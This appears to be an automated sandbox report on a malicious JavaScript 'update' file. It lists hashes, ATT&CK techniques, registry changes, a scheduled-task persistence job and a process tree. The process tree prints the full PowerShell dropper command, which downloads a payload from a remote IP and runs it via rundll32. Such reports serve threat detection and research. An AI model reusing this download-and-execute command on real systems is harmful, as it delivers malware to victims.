0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17

General

Target

Update_25_04_2024_3146918.js
Size

135KB
MD5

bf7f711e823916e5f56ff4d2286ee866
SHA1

d9c9d093ce5f1cbc78280ab0232b5d6ef8c25729
SHA256

0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17
SHA512

842616018719df7c6ee7cac5996ea1399a2a459353ee96de2bf9fda122aac861baa0a5c848dad1d4aa756fab897d1e7a978eac359458d52801020685db67d941
SSDEEP

1536:XDOApMn1gDmN2yBCn/yA3seAeLCMamLcInL1VXJ3Duvnr:6A+n1gDmNnw/yA3slMamLcInL7tDuvr

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89

Signatures

Blocklisted process makes network request 20 IoCs

flow	pid	Process
6	2756	rundll32.exe
7	2756	rundll32.exe
8	2756	rundll32.exe
9	2756	rundll32.exe
10	2756	rundll32.exe
11	2756	rundll32.exe
12	2756	rundll32.exe
13	2756	rundll32.exe
14	2756	rundll32.exe
15	2756	rundll32.exe
16	2756	rundll32.exe
17	2756	rundll32.exe
18	2756	rundll32.exe
19	2756	rundll32.exe
20	2756	rundll32.exe
21	2756	rundll32.exe
22	2756	rundll32.exe
23	2756	rundll32.exe
24	2756	rundll32.exe
25	2756	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 4 IoCs

pid	Process
2756	rundll32.exe
2756	rundll32.exe
2756	rundll32.exe
2756	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F619XONJ.htm	rundll32.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\RtlUpd.job	rundll32.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2632	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe

Modifies data under HKEY_USERS 21 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-28-e3-aa-b2-56	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-28-e3-aa-b2-56\WpadDecision = "0"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9EB4FAD6-89F5-40FF-B803-F070AB8F50B4}\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9EB4FAD6-89F5-40FF-B803-F070AB8F50B4}\82-28-e3-aa-b2-56	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9EB4FAD6-89F5-40FF-B803-F070AB8F50B4}\WpadDecisionTime = 6013f3714eb1da01	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00d5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9EB4FAD6-89F5-40FF-B803-F070AB8F50B4}\WpadDecisionReason = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9EB4FAD6-89F5-40FF-B803-F070AB8F50B4}\WpadNetworkName = "Network 3"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-28-e3-aa-b2-56\WpadDecisionReason = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\82-28-e3-aa-b2-56\WpadDecisionTime = 6013f3714eb1da01	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9EB4FAD6-89F5-40FF-B803-F070AB8F50B4}	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2080	powershell.exe
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 2080	2248	wscript.exe	28
PID 2248 wrote to memory of 2080	2248	wscript.exe	28
PID 2248 wrote to memory of 2080	2248	wscript.exe	28
PID 2080 wrote to memory of 2632	2080	powershell.exe	30
PID 2080 wrote to memory of 2632	2080	powershell.exe	30
PID 2080 wrote to memory of 2632	2080	powershell.exe	30
PID 2632 wrote to memory of 2168	2632	powershell.exe	32
PID 2632 wrote to memory of 2168	2632	powershell.exe	32
PID 2632 wrote to memory of 2168	2632	powershell.exe	32
PID 620 wrote to memory of 2756	620	taskeng.exe	34
PID 620 wrote to memory of 2756	620	taskeng.exe	34
PID 620 wrote to memory of 2756	620	taskeng.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_25_04_2024_3146918.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89' -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\olhqjgdh.q1a,Start
      4⤵
      Drops file in Windows directory
      PID:2168

C:\Windows\system32\taskeng.exe
taskeng.exe {D1130CCC-10D6-44A5-92FB-0376B90242D1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Suspicious use of WriteProcessMemory
PID:620
- C:\Windows\system32\rundll32.exe
  C:\Windows\system32\rundll32.exe "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c9c483bcd5d3d73bd705d56469a8546d

SHA1
6a7d5eb09c12bf91e29e0cd133bc710f8a63b996

SHA256
54744466e8c259dee3830aef6995c36df8cefbe1afced15014a3a48f916f1c59

SHA512
7ae451d271aa2e74c8d04e08d06c1ffab8e27920d56a1295938fe5bf6d110dd0d93146a3cc83029d86fb73220cb32834fb5227520c8c27be027876f2cf09d653

Download Submit
\ProgramData\RtlUpd\RtlUpd.dll

Filesize
141KB

MD5
039ff182524d1f3c109869d5bee699a1

SHA1
9da43496bcb967ce77f18ed8a3ee19d53661e242

SHA256
a5f16fa960fe0461e2009bd748bc9057ef5cd31f05f48b12cfd7790fa741a24e

SHA512
3654009a9785e45488bb14cecea88a7a232976f003a32a9d5856572e491c580046629a3f0b2c130a1022a196677b1695643f7e2a457203233ba08fb13639317e

Download Submit
memory/2080-7-0x0000000002B00000-0x0000000002B32000-memory.dmp

Filesize
200KB

Download
memory/2080-4-0x000007FEF5F7E000-0x000007FEF5F7F000-memory.dmp

Filesize
4KB

Download
memory/2080-8-0x0000000002B00000-0x0000000002B32000-memory.dmp

Filesize
200KB

Download
memory/2080-9-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-10-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-11-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-12-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2080-20-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2080-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2632-18-0x000000001B610000-0x000000001B632000-memory.dmp

Filesize
136KB

Download
memory/2632-19-0x0000000002AC0000-0x0000000002AD2000-memory.dmp

Filesize
72KB

Download

Resubmissions

Analysis

Sharing